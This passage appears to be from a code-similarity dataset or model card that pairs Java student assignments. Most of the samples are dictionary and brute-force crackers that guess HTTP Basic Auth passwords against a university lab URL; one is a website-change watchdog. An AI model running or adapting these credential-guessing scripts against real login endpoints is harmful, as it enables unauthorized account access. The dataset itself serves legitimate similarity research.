\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ |
|
|
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ |
|
|
\ dictionary word and waiting for URL reply....... \");\n String currentword\ |
|
|
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ |
|
|
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ |
|
|
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ |
|
|
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ |
|
|
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ |
|
|
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ |
|
|
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\ |
|
|
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ |
|
|
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ |
|
|
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
|
|
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
|
|
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ |
|
|
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ |
|
|
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ |
|
|
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\ |
|
|
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ |
|
|
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ |
|
|
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
|
|
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
|
|
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\ |
|
|
\ 1;\n }\n else\n b3 = bytes [i++];\n \ |
|
|
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ |
|
|
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ |
|
|
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ |
|
|
\ encodedString += base64Array [c2];\n switch (pad) {\n case\ |
|
|
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\ |
|
|
\ base64Array [c4];\n break;\n case 1:\n encodedString\ |
|
|
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ |
|
|
\ case 2:\n encodedString += \"==\";\n break;\n \ |
|
|
\ }\n }\n return encodedString;\n }\n }\n\n" |
|
|
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ |
|
|
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ |
|
|
\ status = false;\n\n public static void main (String args[]){\n Dictionary\ |
|
|
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ |
|
|
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ |
|
|
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ |
|
|
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ |
|
|
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ |
|
|
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ |
|
|
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ |
|
|
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ |
|
|
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ |
|
|
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ |
|
|
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ |
|
|
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ |
|
|
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ |
|
|
\ status = true;\n }\n }\n catch (IOException e)\ |
|
|
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ |
|
|
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
|
|
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
|
|
\ String userNamePasswordBase64(String username, String password) {\n return\ |
|
|
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
|
|
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
|
|
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
|
|
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
|
|
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
|
|
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
|
|
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
|
|
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
|
|
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
|
|
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
|
|
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
|
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
|
|
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
|
|
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
|
|
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
|
|
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
|
|
sentences: |
|
|
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\ |
|
|
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ |
|
|
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\ |
|
|
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ |
|
|
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ |
|
|
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\ |
|
|
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\ |
|
|
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\ |
|
|
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\ |
|
|
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\ |
|
|
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\ |
|
|
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\ |
|
|
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\ |
|
|
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\ |
|
|
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\ |
|
|
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\ |
|
|
\ = in.readLine()) != null) {\n System.out.println(line);\n \ |
|
|
\ status = true;\n }\n }\n catch (IOException e) {\n \n\ |
|
|
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\ |
|
|
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
|
|
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
|
|
\ String userNamePasswordBase64(String username, String password) {\n return\ |
|
|
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
|
|
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\ |
|
|
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\ |
|
|
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \ |
|
|
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\ |
|
|
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\ |
|
|
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
|
|
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
|
|
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
|
|
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
|
|
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
|
|
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
|
|
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
|
|
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
|
|
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
|
|
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
|
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
|
|
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
|
|
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
|
|
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
|
|
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
|
|
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\ |
|
|
\ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\ |
|
|
\ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\ |
|
|
\ String mesg1 = new String();\n String subject = new String(\"\ |
|
|
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \ |
|
|
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\ |
|
|
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\ |
|
|
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\ |
|
|
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\ |
|
|
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \ |
|
|
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ |
|
|
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ |
|
|
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ |
|
|
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ |
|
|
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ |
|
|
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ |
|
|
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ |
|
|
\ \n if(initialmd5.equals(presentmd5))\n \ |
|
|
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ |
|
|
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ |
|
|
);\n System.out.println(\" is different\"); \n \ |
|
|
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ |
|
|
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ |
|
|
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ |
|
|
}\t\t\n" |
|
|
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ |
|
|
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ |
|
|
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ |
|
|
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\ |
|
|
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ |
|
|
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ |
|
|
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ |
|
|
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ |
|
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
|
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ |
|
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
|
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ |
|
|
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ |
|
|
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ |
|
|
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ |
|
|
\ dictionary word and waiting for URL reply....... \");\n String currentword\ |
|
|
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ |
|
|
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ |
|
|
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ |
|
|
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ |
|
|
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ |
|
|
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ |
|
|
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\ |
|
|
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ |
|
|
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ |
|
|
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
|
|
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
|
|
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ |
|
|
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ |
|
|
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ |
|
|
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\ |
|
|
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ |
|
|
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ |
|
|
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
|
|
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
|
|
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\ |
|
|
\ 1;\n }\n else\n b3 = bytes [i++];\n \ |
|
|
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ |
|
|
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ |
|
|
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ |
|
|
\ encodedString += base64Array [c2];\n switch (pad) {\n case\ |
|
|
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\ |
|
|
\ base64Array [c4];\n break;\n case 1:\n encodedString\ |
|
|
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ |
|
|
\ case 2:\n encodedString += \"==\";\n break;\n \ |
|
|
\ }\n }\n return encodedString;\n }\n }\n\n" |
|
|
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ |
|
|
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ |
|
|
\ status = false;\n\n public static void main (String args[]){\n Dictionary\ |
|
|
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ |
|
|
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ |
|
|
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ |
|
|
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ |
|
|
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ |
|
|
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ |
|
|
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ |
|
|
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ |
|
|
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ |
|
|
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ |
|
|
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ |
|
|
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ |
|
|
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ |
|
|
\ status = true;\n }\n }\n catch (IOException e)\ |
|
|
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ |
|
|
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
|
|
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
|
|
\ String userNamePasswordBase64(String username, String password) {\n return\ |
|
|
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
|
|
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
|
|
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
|
|
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
|
|
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
|
|
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
|
|
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
|
|
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
|
|
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
|
|
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
|
|
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
|
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
|
|
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
|
|
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
|
|
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
|
|
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
|
|
sentences: |
|
|
- "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ |
|
|
import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ |
|
|
import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ |
|
|
\ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ |
|
|
\ }\n\n public static void main(String[] args)\n {\n Dictionary\ |
|
|
\ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\ |
|
|
\ System.out.println(dictionary.printUsage());\n }\n \ |
|
|
\ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\ |
|
|
\ dictionary.setWordFile(args[2]);\n\n if (args.length >\ |
|
|
\ 3)\n {\n dictionary.setFileName(args[3]);\n \ |
|
|
\ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ |
|
|
\ System.exit(1);\n }\n }\n\n public void process()\n\ |
|
|
\ {\n attempts = 0;\n String password = \"\";\n \n \ |
|
|
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ |
|
|
\ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ |
|
|
\ \n input = new BufferedReader(file);\n \n \ |
|
|
\ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ |
|
|
File not found: \" + getWordFile());\n System.exit(2);\n }\n\ |
|
|
\n try\n {\n while ((password = input.readLine()) !=\ |
|
|
\ null)\n {\n try\n {\n \ |
|
|
\ \n attempts++;\n BasicAuthHttpRequest\ |
|
|
\ req =\n new BasicAuthHttpRequest(\n \ |
|
|
\ getURL(),\n getUserName(),\n \ |
|
|
\ password);\n setPassword(password);\n \ |
|
|
\ setEnd(new Timestamp(System.currentTimeMillis()));\n \ |
|
|
\ setContent(req.getContent().toString());\n\n \ |
|
|
\ \n if (getFileName() != null\n &&\ |
|
|
\ getFileName().length() > 0)\n {\n \ |
|
|
\ createReport();\n }\n return;\n \ |
|
|
\ }\n catch (MalformedURLException e)\n \ |
|
|
\ {\n e.printStackTrace();\n return;\n\ |
|
|
\ }\n catch (IOException e)\n {\n\ |
|
|
\n }\n }\n }\n catch (IOException x)\n\ |
|
|
\ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ |
|
|
\ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ |
|
|
\ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\ |
|
|
\ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\ |
|
|
\ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\ |
|
|
n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ |
|
|
\ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ |
|
|
\ string)\n {\n wordFile = string;\n }\n\n}\n" |
|
|
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ |
|
|
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ |
|
|
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ |
|
|
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\ |
|
|
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ |
|
|
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ |
|
|
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ |
|
|
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ |
|
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
|
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ |
|
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
|
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ |
|
|
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ |
|
|
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ |
|
|
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ |
|
|
\ dictionary word and waiting for URL reply....... \");\n String currentword\ |
|
|
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ |
|
|
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ |
|
|
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ |
|
|
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ |
|
|
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ |
|
|
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ |
|
|
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\ |
|
|
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ |
|
|
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ |
|
|
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
|
|
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
|
|
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ |
|
|
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ |
|
|
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ |
|
|
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\ |
|
|
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ |
|
|
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ |
|
|
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
|
|
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
|
|
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\ |
|
|
\ 1;\n }\n else\n b3 = bytes [i++];\n \ |
|
|
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ |
|
|
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ |
|
|
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ |
|
|
\ encodedString += base64Array [c2];\n switch (pad) {\n case\ |
|
|
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\ |
|
|
\ base64Array [c4];\n break;\n case 1:\n encodedString\ |
|
|
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ |
|
|
\ case 2:\n encodedString += \"==\";\n break;\n \ |
|
|
\ }\n }\n return encodedString;\n }\n }\n\n" |
|
|
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ |
|
|
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ |
|
|
